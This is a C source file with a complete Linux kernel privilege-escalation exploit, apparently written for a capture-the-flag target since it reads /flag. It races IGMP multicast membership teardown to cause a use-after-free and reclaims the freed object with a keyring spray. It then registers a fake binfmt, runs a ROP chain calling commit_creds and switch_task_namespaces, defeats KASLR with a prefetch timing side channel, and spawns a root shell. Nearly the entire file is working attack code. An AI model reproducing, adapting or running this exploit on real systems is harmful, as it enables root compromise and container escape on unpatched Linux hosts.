#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/msg.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/timerfd.h>
#include <sys/epoll.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <linux/if_addr.h>
#include <net/if_arp.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/keyctl.h>
#include <linux/xfrm.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <pthread.h>
#include <syscall.h>
#include <x86intrin.h>

#include "netlink.h"

typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef char i8;
typedef short i16;
typedef int i32;
typedef long long i64;


#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))

#define FAIL_IF(x) if ((x)) { \
    perror(#x); \
    return -1; \
}
#define PANIC_IF(x) if ((x)) { \
    perror(#x); \
    exit(errno); \
}

#define __EVENT_SET 0
#define __EVENT_UNSET 1

#define EVENT_DEFINE(name, init) volatile int name = init
#define EVENT_WAIT(name) while (__atomic_exchange_n(&name, __EVENT_UNSET, __ATOMIC_ACQUIRE) != __EVENT_SET) { usleep(1000); }
#define SPIN_WAIT(name) while (__atomic_exchange_n(&name, __EVENT_UNSET, __ATOMIC_ACQUIRE) != __EVENT_SET) { asm volatile ("pause"); }

#define EVENT_UNSET(name) __atomic_store_n(&name, __EVENT_UNSET, __ATOMIC_RELEASE)
#define EVENT_SET(name) __atomic_store_n(&name, __EVENT_SET, __ATOMIC_RELEASE)

static EVENT_DEFINE(start_packet_burst, __EVENT_UNSET);
static EVENT_DEFINE(packet_burst_done, __EVENT_UNSET);

static volatile int maybe_triggered_the_bug = 0;

int bypass_kaslr(u64 base);

inline static int _pin_to_cpu(int id) {
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(id, &set);
  return sched_setaffinity(getpid(), sizeof(set), &set);
}

//
// offsets
//

// rbx points to the loaded file !!
// push rbx; cmp [rbx+TMP5+1 (0x0041)], bl; pop rsp; jmp __x86_return_thunk (0xffffffff82204100) {taken}; ret // 53385b415ce915d9bf00c3
u64 push_rbx_pop_rsp = 0xffffffff816067e1;

// pop rsi; jmp __x86_return_thunk {taken}; ret // 5ee961e21f01c3
u64 pop_rsi = 0xffffffff81005e89;
// pop rdx; ret // 3e5ac3
u64 pop_rdx = 0xffffffff810fd642;
// pop rdi; jmp __x86_return_thunk {taken}; ret // 5fe978f91f01c3
u64 pop_rdi = 0xffffffff81004782;

// mov [rsi+i (8)], rax; lea rax, [rsi+i+0xdd8 (0x0fd8)]; jmp __x86_return_thunk {taken}; ret // 48894608488d86d80f0000e919db1e01c3
u64 mov_qword_rsi8_rax = 0xffffffff81016387;
// pop rax; jmp __x86_return_thunk {taken}; ret // 58e94c981d01c3
u64 pop_rax = 0xffffffff8102a8ae;

// mov rdi, rax; mov [rip+vmcoreinfo_data_safecopy], rdi; jmp __x86_return_thunk {taken}; ret // 4889c748893d3957ba02e9b4440801c3
u64 mov_rdi_rax = 0xffffffff8118131d;

u64 __register_binfmt = 0xffffffff81303e50;
u64 formats = 0xffffffff83392350;

u64 __do_sys_fork = 0xffffffff810db020;
u64 __msleep = 0xffffffff8115e3d0;

u64 find_task_by_vpid = 0xffffffff810ffee0;
u64 switch_task_namespaces = 0xffffffff81107270;
u64 commit_creds = 0xffffffff81108d90;
u64 prepare_kernel_cred = 0xffffffff81109050;
u64 init_task = 0xffffffff8321d940;
u64 init_nsproxy = 0xffffffff83267080;

#define FOR_ALL_OFFSETS(x) do { \
    x(push_rbx_pop_rsp); \
    x(pop_rsi); \
    x(pop_rdx); \
    x(pop_rdi); \
    x(mov_qword_rsi8_rax); \
    x(pop_rax); \
    x(mov_rdi_rax); \
    x(__register_binfmt); \
    x(formats); \
    x(__do_sys_fork); \
    x(__msleep); \
    x(find_task_by_vpid); \
    x(switch_task_namespaces); \
    x(commit_creds); \
    x(prepare_kernel_cred); \
    x(init_task); \
    x(init_nsproxy); \
  } while(0)

//
//
//

#define NUM_MEMBERSHIPS_PER_SOCK 8
static int membership_fd = 0;

static void membership_init_all(int ifindex) {
    PANIC_IF((membership_fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)) < 0);
    for (u32 i = 0; i < NUM_MEMBERSHIPS_PER_SOCK; i++) {
        u32 addr = htonl((i + 2) | 0xeF000000);
        struct ip_mreqn mreq = {
            .imr_multiaddr.s_addr = addr,
            .imr_ifindex = ifindex,
        };
        PANIC_IF(setsockopt(membership_fd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0);
    }
}

// 01 00 5e 00 00 01 00 72 19 88 aa 02 08 00 45 00 00 1c 00 01 00 00 01 02 0e 7f c0 a8 0a b7 e0 00 00 01 11 64 ee 9b 00 00 00 00
// maximize likelyhood of a large response time thus increase timer timeout
static u8 frame[] = { 0x01, 0x00, 0x5e, 0x00, 0x00, 0x01, 0x00, 0x72, 0x19, 0x88, 0xaa, 0x02, 0x08, 0x00, 0x45, 0x00, 0x00, 0x1c, 0x00, 0x01, 0x00, 0x00, 0x01, 0x02, 0x0e, 0x7f, 0xc0, 0xa8, 0x0a, 0xb7, 0xe0, 0x00, 0x00, 0x01, 0x11, 0xFF, 0xee, 0x00, 0x00, 0x00, 0x00, 0x00};

typedef int key_serial_t;

key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
  return syscall(__NR_add_key, type, description, payload, plen, ringid);
}

long keyctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
    return syscall(__NR_keyctl, option, arg2, arg3, arg4, arg5);
}

static struct {
    int num_keys;
    key_serial_t keys[1024];
} all_keys = {
  .num_keys = 0,
  .keys = {0}
};

static int spray_key(void* payload, size_t plen) {
  char desc[32] = {0};
    int id = all_keys.num_keys;
    snprintf(desc, sizeof(desc) - 1, "fi-%d", id);

    all_keys.keys[id] = add_key("user", desc, payload, plen, KEY_SPEC_PROCESS_KEYRING);
    if (all_keys.keys[id] == -1) {
      return -1;
    }

    all_keys.num_keys ++;
    return 0;
}

static int spray_keys(void* payload, size_t plen, int n) {
  for (int i = 0; i < n; i++) {
    if (spray_key(payload, plen)) {
        return -1;
    }
    usleep(100);
  }

  return 0;
}

struct igmp_packet {
        u8 type;
        u8 max_resp_time;
        u16 checksum;
        u32 group;
} __attribute__((__packed__));

void fixup_checksum(struct igmp_packet* packet) {
    packet->checksum = 0;
    const u8* data = (const u8*)packet;

    u32 checksum = 0;
    for (int i = 0; i < sizeof(struct igmp_packet); i += 2) {
        u32 word = ((u32)data[i] << 8) | (u32)data[i + 1];
        checksum += word;
    }

    while (checksum >> 16) {
        checksum = (checksum & 0xFFFF) + (checksum >> 16);
    }

    checksum = ~checksum & 0xFFFF;
    packet->checksum = htons(checksum);
}

struct timer_list {
    struct {
        void* next;
        void** pprev;
    } entry;
    unsigned long		expires;
    void			(*function)(struct timer_list *);
    u32			flags;
};

struct linux_binfmt {
    struct {
        void* next;
        void* prev;
    } lh;
    void* module;
    int (*load_binary)(void*);
    int (*load_shlib)(void*);
    int (*core_dump)(void*);
    unsigned long min_coredump;
};

struct payload {
    union {
        struct timer_list timer;
        struct linux_binfmt fmt;
        u64 buf[(192 - 60) / sizeof(u64)];
    } u;
} __attribute__((__packed__));

static u64 rop_chain[256 / 8] = {0};

int ip_link_add_vethA_vethB(int s, const char* name) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct ifinfomsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->ifi_family = PF_UNSPEC;
    data->ifi_type = 0;
    data->ifi_index = 0;
    data->ifi_flags = 0;
    data->ifi_change = 0;

    netlink_attr_put(nlh, IFLA_IFNAME, name, strlen(name));

    u8 buf2[256] = {0};
    struct nlattr* link_info = (void*)buf2;

    // whatever, lets just hard code the peer
    u8 link_info_data[] = "\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x03\x00\x76\x65\x74\x68\x42\x00\x00\x00";

    netlink_attr_put_nested(link_info, IFLA_INFO_KIND, "veth", strlen("veth"));
    netlink_attr_put_nested(link_info, IFLA_INFO_DATA, link_info_data, sizeof(link_info_data));

    netlink_attr_put(nlh, IFLA_LINKINFO, (char*)link_info + NLA_HDRLEN, link_info->nla_len);

    FAIL_IF(netlink_send(s, nlh) < 0);
    FAIL_IF(netlink_recv(s, nlh, sizeof(buf)) < 0);
    FAIL_IF(netlink_errno(nlh) != 0);

    return 0;
}

int ip_link_add_br0(int s) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct ifinfomsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->ifi_family = PF_UNSPEC;
    data->ifi_type = 0;
    data->ifi_index = 0;
    data->ifi_flags = 0;
    data->ifi_change = 0;

    netlink_attr_put(nlh, IFLA_IFNAME, "br0", strlen("br0"));

    u8 buf2[256] = {0};
    struct nlattr* link_info = (void*)buf2;
    netlink_attr_put_nested(link_info, IFLA_INFO_KIND, "bridge", strlen("bridge"));

    netlink_attr_put(nlh, IFLA_LINKINFO, (char*)link_info + NLA_HDRLEN, link_info->nla_len);

    FAIL_IF(netlink_send(s, nlh) < 0);
    FAIL_IF(netlink_recv(s, nlh, sizeof(buf)) < 0);
    FAIL_IF(netlink_errno(nlh) != 0);

    return 0;
}

int ip_link_set_flags(int s, int ifindex, unsigned int ifi_flags) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct ifinfomsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->ifi_family = PF_UNSPEC;
    data->ifi_type = 0;
    data->ifi_index = ifindex;
    data->ifi_flags = ifi_flags;// IFF_UP;
    data->ifi_change = 1;

    FAIL_IF(netlink_send(s, nlh) < 0);
    FAIL_IF(netlink_recv(s, nlh, sizeof(buf)) < 0);
    FAIL_IF(netlink_errno(nlh) != 0);
    return 0;
}

int ip_link_set_master(int s, int ifindex, int masterindex) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct ifinfomsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWLINK;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->ifi_family = PF_UNSPEC;
    data->ifi_type = 0;
    data->ifi_index = ifindex;
    data->ifi_flags = 0;
    data->ifi_change = 0;

    netlink_attr_put(nlh, IFLA_MASTER, &masterindex, sizeof(masterindex));

    FAIL_IF(netlink_send(s, nlh) < 0);
    FAIL_IF(netlink_recv(s, nlh, sizeof(buf)) < 0);
    FAIL_IF(netlink_errno(nlh) != 0);
    return 0;
}

int ip_addr_add(int s, int ifindex, in_addr_t ip, u8 prefix_len) {
    u8 buf[1024] = {0};
    struct nlmsghdr* nlh = (void*)buf;

    struct ifaddrmsg* data = NLMSG_DATA(nlh);
    nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
    nlh->nlmsg_type = RTM_NEWADDR;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE;
    nlh->nlmsg_seq = 0;
    nlh->nlmsg_pid = 0;

    data->ifa_family = AF_INET;
    data->ifa_prefixlen = prefix_len;
    data->ifa_flags = 0;
    data->ifa_scope = RT_SCOPE_UNIVERSE;
    data->ifa_index = ifindex;

    netlink_attr_put(nlh, IFA_LOCAL, &ip, sizeof(ip));
    netlink_attr_put(nlh, IFA_ADDRESS, &ip, sizeof(ip));

    FAIL_IF(netlink_send(s, nlh) < 0);
    FAIL_IF(netlink_recv(s, nlh, sizeof(buf)) < 0);
    FAIL_IF(netlink_errno(nlh) != 0);
    return 0;
}

void* packet_burst_worker(void* arg) {
    #define NUM_PACKETS 512

    // PANIC_IF(_pin_to_cpu(1) < 0);

    u64 timings[NUM_PACKETS] = {0};
    int vethB = if_nametoindex("vethB");

    struct sockaddr_ll addr = {0};
    addr.sll_family = AF_PACKET;
    addr.sll_protocol = htons(ETH_P_ALL);
    addr.sll_ifindex = vethB;

    // Open raw socket descriptor.
    int s = 0;
    PANIC_IF((s = socket(PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0);

    printf("worker ready ..\n");
    while (1) {
        u64 total = 0;

        SPIN_WAIT(start_packet_burst);

        for (int i = 0; i < NUM_PACKETS; i++) {
            u64 begin = __rdtsc();

            PANIC_IF(sendto(s, frame, sizeof(frame), 0, (struct sockaddr *) &addr, sizeof (addr)) <= 0);

            timings[i] = __rdtsc() - begin;
            total += timings[i];
        }

        for (int i = 0; i < NUM_PACKETS; i++) {
            if (timings[i] > ((total - timings[i]) / (NUM_PACKETS - 1)) * 1000) {
                printf("likely triggered the bug!\n");
                maybe_triggered_the_bug = 1;
                break;
            }
        }

        EVENT_SET(packet_burst_done);
    }

    while (1) {}
}

void sandbox() {
    PANIC_IF(unshare(CLONE_NEWUSER | CLONE_NEWNET))
}


int write_to_file(const char* path, const void* what, size_t len) {
    FILE* fp = fopen(path, "w");
    if (!fp) {
        return -1;
    }

    if (fwrite(what, 1, len, fp) != len) {
        return -1;
    }

    fclose(fp);
    return 0;
}

int main(int argc, char* argv[]) {
    sandbox();

    if (argc > 1) {
        u64 base = strtoull(argv[1], NULL, 16);
        bypass_kaslr(base);
    } else {
        bypass_kaslr(0);
    }

    int fd = netlink_open(NETLINK_ROUTE);
    PANIC_IF(fd < 0);

    // PANIC_IF(system("ip link add vethA type veth peer name vethB"));
    PANIC_IF(ip_link_add_vethA_vethB(fd, "vethA"));

    // PANIC_IF(system("ip link add br0 type bridge"));
    PANIC_IF(ip_link_add_br0(fd));

    const int br0 = if_nametoindex("br0");
    const int vethA = if_nametoindex("vethA");
    const int vethB = if_nametoindex("vethB");

    // PANIC_IF(system("ip link set vethA master br0"));
    PANIC_IF(ip_link_set_master(fd, vethA, br0));

    // PANIC_IF(system("ip link set vethA up"));
    PANIC_IF(ip_link_set_flags(fd, vethA, IFF_UP));
    // PANIC_IF(system("ip link set vethB up"));
    PANIC_IF(ip_link_set_flags(fd, vethB, IFF_UP));
    // PANIC_IF(system("ip link set br0 up"));
    PANIC_IF(ip_link_set_flags(fd, br0, IFF_UP));

    // PANIC_IF(system("ip addr add 239.0.0.1/32 dev vethA"));
     PANIC_IF(ip_addr_add(fd, vethA, inet_addr("239.0.0.1"), 32));
    // PANIC_IF(system("ip addr add 239.0.0.1/32 dev br0"));
     PANIC_IF(ip_addr_add(fd, br0, inet_addr("239.0.0.1"), 32));
    // PANIC_IF(system("ip addr add 224.0.0.1/32 dev br0"));
     PANIC_IF(ip_addr_add(fd, br0, inet_addr("224.0.0.1"), 32));

    pthread_t t;
    pthread_create(&t, NULL, packet_burst_worker, NULL);

    PANIC_IF(_pin_to_cpu(0) < 0);

    membership_init_all(br0);
    printf("membership list size will be %u\n", NUM_MEMBERSHIPS_PER_SOCK);

    // wait for setup
    sleep(1);

    printf("trying to hit the race ..\n");
    int tries = 0;
    while (1) {
        if (tries++ > 20000) {
            printf("did not hit race in 20000 tries ..\n");
            exit(1);
        }

        EVENT_SET(start_packet_burst);
        close(membership_fd);
        EVENT_WAIT(packet_burst_done);

        if (maybe_triggered_the_bug) {
            break;
        }

        membership_init_all(br0);
    }

    // we now need to wait for one rcu cycle, so that the free comes through
    printf("success in %d tries! waiting for free ..\n", tries);
    usleep(1000 * 1000);

    printf("spray 'n' pray ..\n");

    u8 buf[192 - 24] = {0};

    // offsetof(struct ip_mc_list, timer) - sizeof(struct user_key_payload)
    struct payload* payload = (struct payload*)&buf[64 - 24];
    _Static_assert(sizeof(buf) == sizeof(struct payload) + 64 - 24, "payload size missmatch");
    memset(buf, 0x41, sizeof(buf));

    // We have a potential limited arbitrary write here (but we do not use it):
    // iff entry.pprev != NULL, there will be a write *pprev = next
    // BUT (*pprev) + 8 will be written too.
    payload->u.timer.entry.next = NULL;
    payload->u.timer.entry.pprev = NULL;

    // We need this to be zero so that any exec call will not panic on
    // try_module_get()
    // Iff an exec comes through before we fixup things, a new fmt will
    // be registered, which is likely corrupt, but maybe it will not panic
    // instantly.
    payload->u.fmt.module = NULL;

    // Register this payload as a binfmt, please.
    payload->u.timer.function = (void*)__register_binfmt;

    #define SPRAY_SIZE 80
    PANIC_IF(spray_keys(buf, sizeof(buf), SPRAY_SIZE));

    printf("spray done. waiting for timer to expire ...\n");

    int timer_triggered = 0;
    int wait_time = 0;
    while (!timer_triggered) {
        sleep(1);
        for (int i = 0; i < SPRAY_SIZE; i++) {
            PANIC_IF(keyctl(KEYCTL_READ, all_keys.keys[i], (unsigned long)buf, sizeof(buf), 0) != sizeof(buf));

            if (payload->u.fmt.lh.next != NULL) {
                printf("timer triggered!\n");
                // _hexdump(buf, sizeof(buf), 0);

                timer_triggered = 1;
                break;
            }
        }

        if (wait_time++ > 60) {
            printf("we likely missed the timer :(\n");
            exit(1);
        }
    }

    usleep(1000 * 500);

    // prepare a simple stack pivot into the loaded file
    payload->u.fmt.load_binary = (void*)push_rbx_pop_rsp;
    payload->u.fmt.module = NULL;

    // now we want to remove all the keys, and hopefully reclaim the key
    // which is inserted in the binfmt list
    for (int i = 0; i < SPRAY_SIZE; i++) {
        PANIC_IF(keyctl(KEYCTL_REVOKE, all_keys.keys[i], 0, 0, 0) < 0);
    }

    // spray until quota exceeds, max out the chances to hit it ..
    spray_keys(buf, sizeof(buf), SPRAY_SIZE * 5);

    int j = 0;
    // fixup the format list
    rop_chain[j++] = pop_rsi;
    rop_chain[j++] = formats - 8;
    rop_chain[j++] = pop_rax;
    rop_chain[j++] = (u64)payload->u.fmt.lh.next;
    rop_chain[j++] = mov_qword_rsi8_rax;

    // prepare a privesc payload
    rop_chain[j++] = pop_rdi;
    rop_chain[j++] = init_task;
    rop_chain[j++] = prepare_kernel_cred;
    rop_chain[j++] = mov_rdi_rax;
    rop_chain[j++] = commit_creds;
    rop_chain[j++] = pop_rdi;
    rop_chain[j++] = 1;
    rop_chain[j++] = find_task_by_vpid;
    rop_chain[j++] = mov_rdi_rax;
    rop_chain[j++] = pop_rsi;
    rop_chain[j++] = init_nsproxy;
    rop_chain[j++] = switch_task_namespaces;
    rop_chain[j++] = __do_sys_fork;
    rop_chain[j++] = pop_rdi;
    rop_chain[j++] = 9999999;
    rop_chain[j++] = __msleep;
    // _hexdump(rop_chain, sizeof(rop_chain), 0);

    char* trigger[] = {
        "/tmp/__rop_chain",
        NULL,
    };
    PANIC_IF(write_to_file(trigger[0], rop_chain, sizeof(rop_chain)));
    PANIC_IF(chmod(trigger[0], 0777));

    printf("second spray done. triggering payload ...\n");
    // while (getchar() != '\n') {}
    // usleep(1000 * 500);

    // printf("we are pid %d\n", getpid());

    int pid = execve(trigger[0], trigger, NULL);

    // printf(" .. we emerge as pid %d\n", getpid());

    if (pid != 0) {
        printf("looks like we failed :(\n");
        exit(1);
    }

    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);

    // printf("dropping into shell ..\n");
    char* shell[] = {
        "/bin/sh",
        "-c",
        "/bin/cat /flag && /bin/sh",
        NULL,
    };
    execve(shell[0], shell, NULL);
    exit(1);
    return 0;
}


// KASLR bypass
//
// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
//
inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}


void prefetch(void* p)
{
  asm volatile ("prefetchnta (%0)" : : "r" (p));
  asm volatile ("prefetcht2 (%0)" : : "r" (p));
}


#define FLUSH_SIZE (4*1024*1024)
volatile u8 __mem[FLUSH_SIZE];

inline void flush_cache() {
  for (int i = 0; i < FLUSH_SIZE; i++) {
    __mem[i] = i;
  }
}

size_t flushandreload(void* addr) // row miss
{
  flush_cache();
  size_t time = rdtsc_begin();
  prefetch(addr);
  size_t delta = rdtsc_end() - time;
  return delta;
}

int bypass_kaslr(u64 base) {
    if (!base) {
        while (1) {
            u64 bases[3] = {0};
            for (int vote = 0; vote < 3; vote ++) {
                #define START 0xffffffff80000000ull
                #define END 0xfffffffff0000000ull
                #define STEP 0x0000000001000000ull
                size_t times[(END - START) / STEP] = {0};

                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    times[ti] = ~0;
                }

                for (int i = 0; i < 16; i++) {
                    for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                        u64 addr = START + STEP * (u64)ti;
                        size_t t = flushandreload((void*)addr);
                            if (t < times[ti]) {
                                times[ti] = t;
                            }
                        }
                }

                size_t minv = ~0;
                size_t mini = -1;
                for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) {
                    if (times[ti] < minv) {
                        mini = ti;
                        minv = times[ti];
                    }
                }

                if (mini < 0) {
                    return -1;
                }

                bases[vote] = START + STEP * (u64)mini;
                usleep(1000 * 500);
            }

            for (int i = 0; i < 3; i++) {
                for (int j = i + 1; j < 3; j++) {
                    if (bases[i] == bases[j]) {
                        base = bases[i];
                        goto got_base;
                    }
                }
            }

            printf("majority vote failed:\n");
            printf("base[0] = %llx\n", bases[0]);
            printf("base[1] = %llx\n", bases[1]);
            printf("base[2] = %llx\n", bases[2]);
        }
    }

got_base:
    printf("using kernel base %llx\n", base);

    i64 diff = 0xffffffff81000000 - base;
    printf("diff: %lld", diff);

    #define x(name) { name -= diff; printf("corrected %s to %llx\n", #name, name); }
    FOR_ALL_OFFSETS(x);
    #undef x

    return 0;
}
